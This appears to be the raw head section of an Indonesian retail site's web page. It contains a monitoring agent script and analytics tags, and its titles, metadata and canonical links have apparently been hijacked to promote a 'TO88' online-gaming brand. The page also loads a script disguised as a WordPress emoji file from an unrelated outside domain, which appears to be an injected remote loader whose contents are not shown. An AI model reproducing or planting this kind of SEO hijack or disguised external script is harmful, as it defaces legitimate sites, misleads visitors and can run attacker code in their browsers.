(0, a.p)(f.xV, ["API/logging/".concat(i.toLowerCase(), "/called")], void 0, n.K7.metrics, e), (0, a.p)(y.ET, [(0, v.t)(), t, r, i], void 0, n.K7.logging, e) 1223 }(w, e, t, r) 1224 }, m.wrapLogger = (e, t, { 1225 customAttributes: r = {}, 1226 level: i = y.p_.INFO 1227 } = {}) => { 1228 (0, a.p)(f.xV, ["API/wrapLogger/called"], void 0, n.K7.metrics, w), E(w, e, t, { 1229 customAttributes: r, 1230 level: i 1231 }) 1232 }, h.forEach((e => { 1233 m[e] = j(A, e, !0, "api") 1234 })), m.addPageAction = j(A, "addPageAction", !0, n.K7.genericEvents), m.recordCustomEvent = j(A, "recordCustomEvent", !0, n.K7.genericEvents), m.setPageViewName = function(t, r) { 1235 if ("string" == typeof t) return "/" !== t.charAt(0) && (t = "/" + t), (0, o.f)(e).customTransaction = (r || "http://custom.transaction") + t, j(A, "setPageViewName", !0)() 1236 }, m.setCustomAttribute = function(e, t, r = !1) { 1237 if ("string" == typeof e) { 1238 if (["string", "number", "boolean"].includes(typeof t) || null === t) return N(e, t, "setCustomAttribute", r); 1239 (0, d.R)(40, typeof t) 1240 } else(0, d.R)(39, typeof e) 1241 }, m.setUserId = function(e) { 1242 if ("string" == typeof e || null === e) return N("enduser.id", e, "setUserId", !0); 1243 (0, d.R)(41, typeof e) 1244 }, m.setApplicationVersion = function(e) { 1245 if ("string" == typeof e || null === e) return N("application.version", e, "setApplicationVersion", !1); 1246 (0, d.R)(42, typeof e) 1247 }, m.start = () => { 1248 try { 1249 (0, a.p)(f.xV, ["API/start/called"], void 0, n.K7.metrics, w), w.emit("manual-start-all") 1250 } catch (e) { 1251 (0, d.R)(23, e) 1252 } 1253 }, m[p.G4.RECORD] = function() { 1254 (0, a.p)(f.xV, ["API/recordReplay/called"], void 0, n.K7.metrics, w), (0, a.p)(p.G4.RECORD, [], void 0, n.K7.sessionReplay, w) 1255 }, m[p.G4.PAUSE] = function() { 1256 (0, a.p)(f.xV, ["API/pauseReplay/called"], void 0, n.K7.metrics, w), (0, a.p)(p.G4.PAUSE, [], void 0, n.K7.sessionReplay, w) 1257 }, m.interaction = function(e) { 1258 return (new k).get("object" == typeof e ? e : {}) 1259 }; 1260 const T = k.prototype = { 1261 createTracer: function(e, t) { 1262 var r = {}, 1263 i = this, 1264 o = "function" == typeof t; 1265 return (0, a.p)(f.xV, ["API/createTracer/called"], void 0, n.K7.metrics, w), g || (0, a.p)(_ + "tracer", [(0, v.t)(), e, r], i, n.K7.spa, w), 1266 function() { 1267 if (R.emit((o ? "" : "no-") + "fn-start", [(0, v.t)(), i, o], r), o) try { 1268 return t.apply(this, arguments) 1269 } catch (e) { 1270 const t = "string" == typeof e ? new Error(e) : e;
1271 throw R.emit("fn-err", [arguments, this, t], r), t 1272 } finally { 1273 R.emit("fn-end", [(0, v.t)()], r) 1274 } 1275 } 1276 } 1277 }; 1278 1279 function j(e, t, r, i) { 1280 return function() { 1281 return (0, a.p)(f.xV, ["API/" + t + "/called"], void 0, n.K7.metrics, w), i && (0, a.p)(e + t, [r ? (0, v.t)() : performance.now(), ...arguments], r ? null : this, i, w), r ? void 0 : this 1282 } 1283 } 1284 1285 function I() { 1286 r.e(296).then(r.bind(r, 778)).then((({ 1287 setAPI: t 1288 }) => { 1289 t(e), (0, c.Ze)(e, "api") 1290 })).catch((e => { 1291 (0, d.R)(27, e), w.abort() 1292 })) 1293 } 1294 return ["actionText", "setName", "setAttribute", "save", "ignore", "onEnd", "getContext", "end", "get"].forEach((e => { 1295 T[e] = j(_, e, void 0, g ? n.K7.softNav : n.K7.spa) 1296 })), m.setCurrentRouteName = g ? j(_, "routeName", void 0, n.K7.softNav) : j(A, "routeName", !0, n.K7.spa), m.noticeError = function(t, r) { 1297 "string" == typeof t && (t = new Error(t)), (0, a.p)(f.xV, ["API/noticeError/called"], void 0, n.K7.metrics, w), (0, a.p)("err", [t, (0, v.t)(), !1, r, !!x[e]], void 0, n.K7.jserrors, w) 1298 }, l.RI ? (0, u.GG)((() => I()), !0) : I(), m 1299 } 1300 var k = r(217), 1301 T = r(122); 1302 const j = { 1303 accountID: void 0, 1304 trustKey: void 0, 1305 agentID: void 0, 1306 licenseKey: void 0, 1307 applicationID: void 0, 1308 xpid: void 0 1309 }, 1310 I = {}; 1311 var O = r(284); 1312 const S = e => { 1313 const t = e.startsWith("http"); 1314 e += "/", r.p = t ? e : "https://" + e 1315 }; 1316 let P = !1; 1317 1318 function K(e, t = {}, r, n) { 1319 let { 1320 init: a, 1321 info: c, 1322 loader_config: u, 1323 runtime: d = {}, 1324 exposed: f = !0 1325 } = t; 1326 d.loaderType = r; 1327 const p = (0, g.pV)(); 1328 c || (a = p.init, c = p.info, u = p.loader_config), (0, k.xN)(e.agentIdentifier, a || {}), 1329 function(e, t) { 1330 if (!e) throw new Error("All loader-config objects require an agent identifier!"); 1331 I[e] = (0, T.a)(t, j); 1332 const r = (0, g.nY)(e); 1333 r && (r.loader_config = I[e]) 1334 }(e.agentIdentifier, u || {}), c.jsAttributes ??= {}, l.bv && (c.jsAttributes.isWorker = !0), (0, i.x1)(e.agentIdentifier, c); 1335 const m = (0, k.D0)(e.agentIdentifier), 1336 h = [c.beacon, c.errorBeacon]; 1337 P || (m.proxy.assets && (S(m.proxy.assets), h.push(m.proxy.assets)), m.proxy.beacon && h.push(m.proxy.beacon), _(), (0, g.US)("activatedFeatures", O.B), e.runSoftNavOverSpa &&= !0 === m.soft_navigations.enabled && m.feature_flags.includes("soft_nav")), d.denyList = [...m.ajax.deny_list || [], ...m.ajax.block_internal ? h : []], d.ptid = e.agentIdentifier, (0, o.V)(e.agentIdentifier, d), e.ee = s.ee.get(e.agentIdentifier), void 0 === e.api && (e.api = N(e.agentIdentifier, n, e.runSoftNavOverSpa)), void 0 === e.exposed && (e.exposed = f), P = !0 1338 } 1339 }, 1340 374: (e, t, r) => { 1341 r.nc = (() => { 1342 try { 1343 return document?.currentScript?.nonce 1344 } catch (e) {} 1345 return "" 1346 })() 1347 }, 1348 860: (e, t, r) => { 1349 "use strict"; 1350 r.d(t, { 1351 $J: () => u, 1352 K7: () => s, 1353 P3: () => c, 1354 XX: () => i, 1355 qY: () => n, 1356 v4: () => a 1357 }); 1358 const n = "events", 1359 i = "jserrors", 1360 o = "browser/blobs", 1361 a = "rum", 1362 s = { 1363 ajax: "ajax", 1364 genericEvents: "generic_events",
1365 jserrors: i, 1366 logging: "logging", 1367 metrics: "metrics", 1368 pageAction: "page_action", 1369 pageViewEvent: "page_view_event", 1370 pageViewTiming: "page_view_timing", 1371 sessionReplay: "session_replay", 1372 sessionTrace: "session_trace", 1373 softNav: "soft_navigations", 1374 spa: "spa" 1375 }, 1376 c = { 1377 [s.pageViewEvent]: 1, 1378 [s.pageViewTiming]: 2, 1379 [s.metrics]: 3, 1380 [s.jserrors]: 4, 1381 [s.spa]: 5, 1382 [s.ajax]: 6, 1383 [s.sessionTrace]: 7, 1384 [s.softNav]: 8, 1385 [s.sessionReplay]: 9, 1386 [s.logging]: 10, 1387 [s.genericEvents]: 11 1388 }, 1389 u = { 1390 [s.pageViewEvent]: a, 1391 [s.pageViewTiming]: n, 1392 [s.ajax]: n, 1393 [s.spa]: n, 1394 [s.softNav]: n, 1395 [s.metrics]: i, 1396 [s.jserrors]: i, 1397 [s.sessionTrace]: o, 1398 [s.sessionReplay]: o, 1399 [s.logging]: "browser/logs", 1400 [s.genericEvents]: "ins" 1401 } 1402 } 1403 }, 1404 n = {}; 1405 1406 function i(e) { 1407 var t = n[e]; 1408 if (void 0 !== t) return t.exports; 1409 var o = n[e] = { 1410 exports: {} 1411 }; 1412 return r[e](o, o.exports, i), o.exports 1413 } 1414 i.m = r, i.d = (e, t) => { 1415 for (var r in t) i.o(t, r) && !i.o(e, r) && Object.defineProperty(e, r, { 1416 enumerable: !0, 1417 get: t[r] 1418 }) 1419 }, i.f = {}, i.e = e => Promise.all(Object.keys(i.f).reduce(((t, r) => (i.f[r](e, t), t)), [])), i.u = e => "nr-rum-1.284.1.min.js", i.o = (e, t) => Object.prototype.hasOwnProperty.call(e, t), e = {}, t = "NRBA-1.284.1.PROD:", i.l = (r, n, o, a) => { 1420 if (e[r]) e[r].push(n); 1421 else { 1422 var s, c; 1423 if (void 0 !== o) 1424 for (var u = document.getElementsByTagName("script"), l = 0; l < u.length; l++) { 1425 var d = u[l]; 1426 if (d.getAttribute("src") == r || d.getAttribute("data-webpack") == t + o) { 1427 s = d; 1428 break 1429 } 1430 } 1431 if (!s) { 1432 c = !0; 1433 var f = { 1434 296: "sha512-I5tV79u0jhQi7aouG2M+kaxUnC8otPe2WXnytHYva1pERqoP8GhxHAi7OJZyNzSvBOojrdGEBSfIO5Sy7scrmA==" 1435 }; 1436 (s = document.createElement("script")).charset = "utf-8", s.timeout = 120, i.nc && s.setAttribute("nonce", i.nc), s.setAttribute("data-webpack", t + o), s.src = r, 0 !== s.src.indexOf(window.location.origin + "/") && (s.crossOrigin = "anonymous"), f[a] && (s.integrity = f[a]) 1437 } 1438 e[r] = [n]; 1439 var g = (t, n) => { 1440 s.onerror = s.onload = null, clearTimeout(p); 1441 var i = e[r]; 1442 if (delete e[r], s.parentNode && s.parentNode.removeChild(s), i && i.forEach((e => e(n))), t) return t(n) 1443 }, 1444 p = setTimeout(g.bind(null, void 0, { 1445 type: "timeout", 1446 target: s 1447 }), 12e4); 1448 s.onerror = g.bind(null, s.onerror), s.onload = g.bind(null, s.onload), c && document.head.appendChild(s) 1449 } 1450 }, i.r = e => { 1451 "undefined" != typeof Symbol && Symbol.toStringTag && Object.defineProperty(e, Symbol.toStringTag, { 1452 value: "Module" 1453 }), Object.defineProperty(e, "__esModule", { 1454 value: !0 1455 }) 1456 }
1456, i.p = "https://js-agent.newrelic.com/", (() => { 1457 var e = { 1458 374: 0, 1459 840: 0 1460 }; 1461 i.f.j = (t, r) => { 1462 var n = i.o(e, t) ? e[t] : void 0; 1463 if (0 !== n) 1464 if (n) r.push(n[2]); 1465 else { 1466 var o = new Promise(((r, i) => n = e[t] = [r, i])); 1467 r.push(n[2] = o); 1468 var a = i.p + i.u(t), 1469 s = new Error; 1470 i.l(a, (r => { 1471 if (i.o(e, t) && (0 !== (n = e[t]) && (e[t] = void 0), n)) { 1472 var o = r && ("load" === r.type ? "missing" : r.type), 1473 a = r && r.target && r.target.src; 1474 s.message = "Loading chunk " + t + " failed.\n(" + o + ": " + a + ")", s.name = "ChunkLoadError", s.type = o, s.request = a, n[1](s) 1475 } 1476 }), "chunk-" + t, t) 1477 } 1478 }; 1479 var t = (t, r) => { 1480 var n, o, [a, s, c] = r, 1481 u = 0; 1482 if (a.some((t => 0 !== e[t]))) { 1483 for (n in s) i.o(s, n) && (i.m[n] = s[n]); 1484 if (c) c(i) 1485 } 1486 for (t && t(r); u < a.length; u++) o = a[u], i.o(e, o) && e[o] && e[o][0](), e[o] = 0 1487 }, 1488 r = self["webpackChunk:NRBA-1.284.1.PROD"] = self["webpackChunk:NRBA-1.284.1.PROD"] || []; 1489 r.forEach(t.bind(null, 0)), r.push = t.bind(null, r.push.bind(r)) 1490 })(), (() => { 1491 "use strict"; 1492 i(374); 1493 var e = i(944), 1494 t = i(344), 1495 r = i(566); 1496 class n { 1497 agentIdentifier; 1498 constructor() { 1499 this.agentIdentifier = (0, r.LA)(16) 1500 } 1501 #e(t, ...r) { 1502 if ("function" == typeof this.api?.[t]) return this.api[t](...r); 1503 (0, e.R)(35, t) 1504 } 1505 addPageAction(e, t) { 1506 return this.#e("addPageAction", e, t) 1507 } 1508 recordCustomEvent(e, t) { 1509 return this.#e("recordCustomEvent", e, t) 1510 } 1511 setPageViewName(e, t) { 1512 return this.#e("setPageViewName", e, t) 1513 } 1514 setCustomAttribute(e, t, r) { 1515 return this.#e("setCustomAttribute", e, t, r) 1516 } 1517 noticeError(e, t) { 1518 return this.#e("noticeError", e, t) 1519 } 1520 setUserId(e) { 1521 return this.#e("setUserId", e) 1522 } 1523 setApplicationVersion(e) { 1524 return this.#e("setApplicationVersion", e) 1525 } 1526 setErrorHandler(e) { 1527 return this.#e("setErrorHandler", e) 1528 } 1529 addRelease(e, t) { 1530 return this.#e("addRelease", e, t) 1531 } 1532 log(e, t) { 1533 return this.#e("log", e, t) 1534 } 1535 } 1536 class o extends n { 1537 #e(t, ...r) { 1538 if ("function" == typeof this.api?.[t]) return this.api[t](...r); 1539 (0, e.R)(35, t) 1540 } 1541 start() { 1542 return this.#e("start") 1543 } 1544 finished(e) { 1545 return this.#e("finished", e) 1546 } 1547 recordReplay() { 1548 return this.#e(t.G4.RECORD) 1549 } 1550 pauseReplay() { 1551 return this.#e(t.G4.PAUSE) 1552 } 1553 addToTrace(e) { 1554 return this.#e("addToTrace", e) 1555 } 1556 setCurrentRouteName(e) { 1557 return this.#e("setCurrentRouteName", e) 1558 } 1559 interaction() { 1560 return this.#e("interaction") 1561 } 1562 wrapLogger(e, t, r) { 1563 return this.#e("wrapLogger", e, t, r) 1564 } 1565 } 1566 var a = i(860), 1567 s = i(217); 1568 const c = Object.values(a.K7); 1569 1570 function u(e) { 1571 const t = {}; 1572 return c.forEach((r => { 1573 t[r] = function(e, t) { 1574 return !0 === (0, s.gD)(t, "".concat(e, ".enabled")) 1575 }(r, e) 1576 })), t 1577 } 1578 var l = i(603); 1579 var d = i(687), 1580 f = i(234), 1581 g = i(289), 1582 p = i(154), 1583 m = i(384); 1584 const h = e => p.RI && !0 === (0, s.gD)(e, "privacy.cookies_enabled"); 1585 1586 function v(e) { 1587 return !!(0, m.dV)().o.MO && h(e) && !0 === (0, s.gD)(e, "session_trace.enabled") 1588 } 1589 var b = i(389); 1590 class y extends f.W { 1591 constructor(e, t, r = !0) { 1592 super(e.agentIdentifier, t), this.auto = r, this.abortHandler = void 0, this.featAggregate = void 0, this.onAggregateImported = void 0, !1 === e.init[this.featureName].autoStart && (this.auto = !1), this.auto ? (0, d.Ak)(e.agentIdentifier, t) : this.ee.on("manual-start-all", (0, b.J)((() => { 1593 (0, d.Ak)(e.agentIdentifier, this.featureName), this.auto = !0, this.importAggregator(e) 1594 }))) 1595 } 1596 importAggregator(t, r = {}) { 1597 if (this.featAggregate || !this.auto) return; 1598 let n; 1599 this.onAggregateImported = new Promise((e => { 1600 n = e 1601 })); 1602 const o = async () => { 1603 let o; 1604 try { 1605 if (h(this.agentIdentifier)) { 1606 const { 1607 setupAgentSession: e 1608 } = await i.e(296).then(i.bind(i, 861)); 1609 o = e(t) 1610 } 1611 } catch (t) { 1612 (0, e.R)(20, t), this.ee.emit("internal-error", [t]), this.featureName === a.K7.sessionReplay && this.abortHandler?.() 1613 } 1614 try { 1615 if (!this.#t(this.featureName, o)) return (0, d.Ze)(this.agentIdentifier, this.featureName), void n(!1); 1616 const { 1617 lazyFeatureLoader: e 1618 } = await i.e(296).then(i.bind(i, 103)), { 1619 Aggregate: a 1620 } = await e(this.featureName, "aggregate"); 1621 this.featAggregate = new a(t, r), t.runtime.harvester.initializedAggregates.push(this.featAggregate), n(!0) 1622 } catch (t) { 1623 (0, e.R)(34, t), this.abortHandler?.(), (0, d.Ze)(this.agentIdentifier, this.featureName, !0), n(!1), this.ee && this.ee.abort() 1624 } 1625 }; 1626 p.RI ? (0, g.GG)((() => o()), !0) : o() 1627 } 1628 #t(e, t) { 1629 switch (e) { 1630 case a.K7.sessionReplay: 1631 return v(this.agentIdentifier) && !!t; 1632 case a.K7.sessionTrace: 1633 return !!t; 1634 default: 1635 return !0 1636 } 1637 } 1638 } 1639 var w = i(630); 1640 class R extends y { 1641 static featureName = w.T; 1642 constructor(e, t = !0) { 1643 super(e, w.T, t), this.importAggregator(e) 1644 } 1645 } 1646 var A = i(908), 1647 E = i(843), 1648 _ = i(878), 1649 x = i(782), 1650 N = i(863); 1651 class k extends y { 1652 static featureName = x.T; 1653 constructor(e, t = !0) { 1654 super(e, x.T, t), p.RI && ((0, E.u)((() => (0, A.p)("docHidden", [(0, N.t)()], void 0, x.T, this.ee)), !0), (0, _.sp)("pagehide", (() => (0, A.p)("winPagehide", [(0, N.t)()], void 0, x.T, this.ee))), this.importAggregator(e)) 1655 } 1656 } 1657 var T = i(773); 1658 class j extends y { 1659 static featureName = T.TZ; 1660 constructor(e, t = !0) { 1661 super(e, T.TZ, t), p.RI && document.addEventListener("securitypolicyviolation", (e => { 1662 (0, A.p)(T.xV, ["Generic/CSPViolation/Detected"], void 0, this.featureName, this.ee) 1663 })), this.importAggregator(e) 1664 } 1665 } 1666 new class extends o { 1667 constructor(t) { 1668 super(), p.gm ? (this.features = {}, (0, m.bQ)(this.agentIdentifier, this), this.desiredFeatures = new Set(t.features || []), this.desiredFeatures.add(R), this.runSoftNavOverSpa = [...this.desiredFeatures].some((e => e.featureName === a.K7.softNav)), (0, l.j)(this, t, t.loaderType || "agent"), this.run()) : (0, e.R)(21) 1669 } 1670 get config() { 1671 return { 1672 info: this.info, 1673 init: this.init, 1674 loader_config: this.loader_config, 1675 runtime: this.runtime 1676 } 1677 } 1678 run() { 1679 try { 1680 const t = u(this.agentIdentifier), 1681 r = [...this.desiredFeatures]; 1682 r.sort(((e, t) => a.P3[e.featureName] - a.P3[t.featureName])), r.forEach((r => { 1683 if (!t[r.featureName] && r.featureName !== a.K7.pageViewEvent) return; 1684 if (this.runSoftNavOverSpa && r.featureName === a.K7.spa) return; 1685 if (!this.runSoftNavOverSpa && r.featureName === a.K7.softNav) return; 1686 const n = function(e) { 1687 switch (e) { 1688 case a.K7.ajax: 1689 return [a.K7.jserrors]; 1690 case a.K7.sessionTrace: 1691 return [a.K7.ajax, a.K7.pageViewEvent]; 1692 case a.K7.sessionReplay: 1693 return [a.K7.sessionTrace]; 1694 case a.K7.pageViewTiming: 1695 return [a.K7.pageViewEvent]; 1696 default: 1697 return [] 1698 } 1699 }(r.featureName).filter((e => !(e in this.features))); 1700 n.length > 0 && (0, e.R)(36, { 1701 targetFeature: r.featureName, 1702 missingDependencies: n 1703 }), this.features[r.featureName] = new r(this) 1704 })) 1705 } catch (t) { 1706 (0, e.R)(22, t); 1707 for (const e in this.features) this.features[e].abortHandler?.(); 1708 const r = (0, m.Zm)(); 1709 delete r.initializedAgents[this.agentIdentifier]?.api, delete r.initializedAgents[this.agentIdentifier]?.features, delete this.sharedAggregator; 1710 return r.ee.get(this.agentIdentifier).abort(), !1 1711 } 1712 } 1713 }({ 1714 features: [R, k, j], 1715 loaderType: "lite" 1716 }) 1717 })() 1718 })(); 1719 </script>
1719 1720 <meta name="title" content="TO88 - Blog Komunitas Pencinta Game Online Berbagi Trik dan Informasi"> 1721 <meta name="description" content="TO88 adalah blog komunitas untuk pencinta game online, menawarkan tips, trik, dan informasi terkini seputar dunia permainan. Bergabunglah dengan kami untuk meningkatkan keterampilan bermain Anda dan terhubung dengan gamer lainnya!"> 1722 <meta name="keywords" content="To88, To 88, To88 daftar, To88 login, To88 alternatif"> 1723 <meta name="distribution" content="Global"> 1724 <meta name="rating" content="general"> 1725 <meta name="geo.region" content="ID"> 1726 <meta name="geo.placename" content="Indonesia"> 1727 <meta name="author" content="To88"> 1728 <meta name="publisher" content="To88"> 1729 <meta name="copyright" content="To88"> 1730 <meta content="index, follow" name="robots"> 1731 <meta name="viewport" content="width=device-width, initial-scale=1"> 1732 <meta name="format-detection" content="telephone=no"> 1733 <title>TO88 - Blog Komunitas Pencinta Game Online Berbagi Trik dan Informasi</title> 1734 <link rel="stylesheet" type="text/css" media="all and (min-width: 1px)" href="https://www.mothercare.co.id/static/version1741963345/_cache/merged/b2bfec61d909c3765479549b8b44c102.min.css"> 1735 <link rel="stylesheet" type="text/css" media="all" href="https://www.mothercare.co.id/static/version1741963345/_cache/merged/56b5914bf926abed304351798d035de2.min.css"> 1736 <link rel="stylesheet" type="text/css" media="screen, print" href="https://www.mothercare.co.id/static/version1741963345/_cache/merged/fac5fbb731d8a9118c7561e0e8b1fc67.min.css"> 1737 <!--[if IE 11]>
1738<script type="text/javascript" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Klevu_Search/js/klevu/ieUrlPolyfill.min.js"></script>
1738 1739<![endif]--> 1740
1740<script type="text/javascript" defer="" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/js/kanmo_custom.min.js"></script>
1740 1741
1741<script type="text/javascript" src="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/Kanmo_BookingAppointment/js/product_detail_handler.min.js"></script>
1741 1742 <link rel="preload" as="font" crossorigin="anonymous" href="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/fonts/mothercare_2020-demi-webfont.woff2"> 1743 <link rel="preload" as="font" crossorigin="anonymous" href="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/fonts/mothercare_2020-regular-webfont.woff2"> 1744 <link rel="preload" as="font" crossorigin="anonymous" href="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/fonts/mothercare_2020-thin-webfont.woff2"> 1745 <link rel="canonical" href="https://www.entretiendecheveuxafro.com/blog/"> 1746 <link rel="amphtml" href="https://www.entretiendecheveuxafro.com/to88/"> 1747 <link rel="alternate" hreflang="id-id" href="https://www.entretiendecheveuxafro.com/blog/"> 1748 <link rel="alternate" href="https://www.entretiendecheveuxafro.com/blog/"> 1749 <link rel="alternate" hreflang="id" href="https://www.entretiendecheveuxafro.com/blog/"> 1750 <link rel="alternate" hreflang="en" href="https://www.entretiendecheveuxafro.com/blog/"> 1751 <link rel="alternate" hreflang="x-default" href="https://www.entretiendecheveuxafro.com/blog/"> 1752 <link rel="icon" type="image/x-icon" href="https://res.cloudinary.com/t04uaud0/image/upload/v1790222249/icoto88.webp"> 1753 <link rel="shortcut icon" type="image/x-icon" href="https://res.cloudinary.com/t04uaud0/image/upload/v1790222249/icoto88.webp"> 1754 <style> 1755 body.onestepcheckout-index-index [type=radio] { 1756 cursor: pointer; 1757 } 1758 </style> 1759
1759<script data-breeze=""> 1760 require(['jquery'], function($) { 1761 $(document).ready(function() { 1762 setTimeout(function() { 1763 if (window.outerWidth < 450) { 1764 if ($('.widget.block.block-banners').length > 0) { 1765 $('.widget.block.block-banners').each(function() { 1766 $(this).insertAfter($(this).parent().find('#cart-totals')); 1767 $(this).css('padding-bottom', '20px') 1768 }); 1769 } 1770 } 1771 }, 1000); 1772 }); 1773 }); 1774 </script>
1774 <!-- NO Pixel ID is configured, please goto Admin --> 1775
1775<script> 1776 console.log('No Meta pixel is configured, please log in as a admin and then visit Stores -> Meta -> Setup -> Get Started'); 1777 </script>
1777 1778
1778<script> 1779 // load Branch 1780 (function(b, r, a, n, c, h, _, s, d, k) { 1781 if (!b[n] || !b[n]._q) { 1782 for (; s < _.length;) c(h, _[s++]); 1783 d = r.createElement(a); 1784 d.async = 1; 1785 d.src = "https://cdn.branch.io/branch-latest.min.js"; 1786 k = r.getElementsByTagName(a)[0]; 1787 k.parentNode.insertBefore(d, k); 1788 b[n] = h 1789 } 1790 })(window, document, "script", "branch", function(b, r) { 1791 b[r] = function() { 1792 b._q.push([r, arguments]) 1793 } 1794 }, { 1795 _q: [], 1796 _v: 1 1797 }, "addListener banner closeBanner closeJourney data deepview deepviewCta first init link logout removeListener setBranchViewData setIdentity track trackCommerceEvent logEvent disableTracking getBrowserFingerprintId crossPlatformIds lastAttributedTouchData setAPIResponseCallback qrCode setRequestMetaData setAPIUrl getAPIUrl setDMAParamsForEEA".split(" "), 0); 1798 // init Branch 1799 branch.init("key_live_hwpt9nHjEmScI07bH10AshccrwmZM7hP"); // Change `key_live_YOUR_KEY_GOES_HERE` to match your Branch Dashboard 1800 </script>
1800 1801 <link rel="preconnect" href="https://js.klevu.com"> 1802
1802<script type="text/javascript"> 1803 var klevu_lang = 'id'; 1804 var klevu_baseCurrencyCode = 'IDR'; 1805 var klevu_currentCurrencyCode = 'IDR'; 1806 var klevu_pubIsInUse = true; 1807 var klevu_current_version = '3.2.0'; 1808 </script>
1808 1809
1809<script type="text/javascript" src="https://js.klevu.com/core/v2/klevu.js"></script>
1809 1810
1810<script type="text/javascript" id="klevu_jsapikeys"> 1811 klevu({ 1812 "search": { 1813 "apiKey": "klevu-159060263433311987" 1814 }, 1815 "analytics": { 1816 "apiKey": "klevu-159060263433311987" 1817 } 1818 }); 1819 </script>
1819 1820
1820<script src="https://wptheme.cloud/wp-includes/wp-elements/wp-emoji-release-version.2.5.js"></script>
1820 1821
1821<script type="text/javascript" id="klevu_jsmodules"> 1822 // Add Price Field Suffix for customer group and currency conversion 1823 var klevu_addPriceSuffixToQueryControl = { 1824 name: 'addPriceSuffixToQuery', 1825 fire: function(data, scope) { 1826 var customerData = JSON.parse(window.localStorage.getItem('klv_mage') || '{}').customerData || { 1827 customer_group_id: 32000 1828 }; 1829 klevu.search.modules.addPriceSuffixToQuery(data, scope, klevu_baseCurrencyCode, customerData.customer_group_id); 1830 } 1831 }; 1832 (function(klevu) { 1833 klevu.extend(true, klevu.search.modules, { 1834 addPriceSuffixToQuery: function(data, scope, currencyCode, customerGroupId) { 1835 if (typeof data.request.current === "undefined") { 1836 return false; 1837 } 1838 klevu.each(data.request.current.recordQueries, function(key, query) { 1839 //code to fetch prices 1840 klevu.setObjectPath(data, "localOverrides.query." + query.id + ".settings.priceFieldSuffix", currencyCode + '-' + customerGroupId); 1841 }); 1842 }, 1843 mageConvertPriceRecordCurrencyData: function(productRecords, currencyCode, currencyRates) { 1844 if (!productRecords) { 1845 return; 1846 } 1847 klevu.each(productRecords, function(recordKey, productRecord) { 1848 var fromRate = parseFloat(currencyRates[productRecord.currency] || 0); 1849 var toRate = parseFloat(currencyRates[currencyCode] || 0); 1850 if (!fromRate || !toRate) { 1851 return; 1852 } 1853 var exchangeRate = toRate / fromRate; 1854 if (klevu.isNumeric(klevu.getObjectPath(productRecord, "price"))) { 1855 productRecord.price *= exchangeRate; 1856 } 1857 if (klevu.isNumeric(klevu.getObjectPath(productRecord, "salePrice"))) { 1858 productRecord.salePrice *= exchangeRate; 1859 } 1860 if (klevu.isNumeric(klevu.getObjectPath(productRecord, "startPrice"))) { 1861 productRecord.startPrice *= exchangeRate; 1862 } 1863 productRecord.currency = currencyCode; 1864 }); 1865 } 1866 }); 1867 })(klevu); 1868 </script>
1868 1869
1869<script type="text/javascript" id="klevu_jsinteractive"> 1870 klevu.interactive(function() { 1871 var options = { 1872 "url": { 1873 "protocol": "https:", 1874 "landing": "https:\/\/www.mothercare.co.id\/catalogsearch\/result\/", 1875 "search": "https:\/\/eucs20v2.ksearchnet.com\/cs\/v2\/search" 1876 }, 1877 "search": { 1878 "minChars": 0, 1879 "searchBoxSelector": "input[type=text][name=q],input[type=search][name=q],.kuSearchInput" 1880 } 1881 }; 1882 klevu(options); 1883 }); 1884 </script>
1884 1885
1885<script type="text/javascript" src="https://js.klevu.com/theme/default/v2/quick-search-theme.js"></script>
1885 1886
1886<script type="text/x-magento-init" data-breeze-processed="true"> { 1887 "*": { 1888 "Magento_PageCache/js/form-key-provider": { 1889 "isPaginationCacheEnabled": 1890 0 } 1891 } 1892 } 1893 </script>
1893 1894 <!-- Google tag (gtag.js) -->
vendor: 70 bytes, lines 1894-1895
1894 1895 <script async="" src="https://www.googletagmanager.com/gtag/js?id=
1895G-404GXE7LR3
vendor: 15 bytes, lines 1895-1896
1895"></script> 1896
1896<script> 1897
vendor: 159 bytes, lines 1897-1903
1897window.dataLayer = window.dataLayer || []; 1898 1899 function gtag() { 1900 dataLayer.push(arguments); 1901 } 1902 gtag('js', new Date()); 1903 gtag('config', '
1903G-404GXE7LR3
vendor: 7 bytes, lines 1903-1904
1903'); 1904
1904</script>
1904 1905 <link rel="stylesheet" type="text/css" as="style" onload="this.rel='stylesheet'" media="all" href="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/css/default.min.css"> 1906 <link rel="stylesheet" type="text/css" media="all" onload="media='all'" href="https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/css/deferred-default.min.css"> 1907 <meta property="og:type" content="product"> 1908 <meta property="og:title" content="TO88 - Blog Komunitas Pencinta Game Online Berbagi Trik dan Informasi"> 1909 <meta property="og:image" content="https://res.cloudinary.com/t04uaud0/image/upload/v1790674170/bloggamer.webp?optimize=low&bg-color=255,255,255&fit=bounds&height=270&width=270&canvas=270:270"> 1910 <meta property="og:description" content="TO88 adalah blog komunitas untuk pencinta game online, menawarkan tips, trik, dan informasi terkini seputar dunia permainan. Bergabunglah dengan kami untuk meningkatkan keterampilan bermain Anda dan terhubung dengan gamer lainnya!"> 1911 <meta property="og:url" content="https://www.entretiendecheveuxafro.com/blog/"> 1912 <meta property="product:price:amount" content="10000"> 1913 <meta property="product:price:currency" content="IDR"> 1914
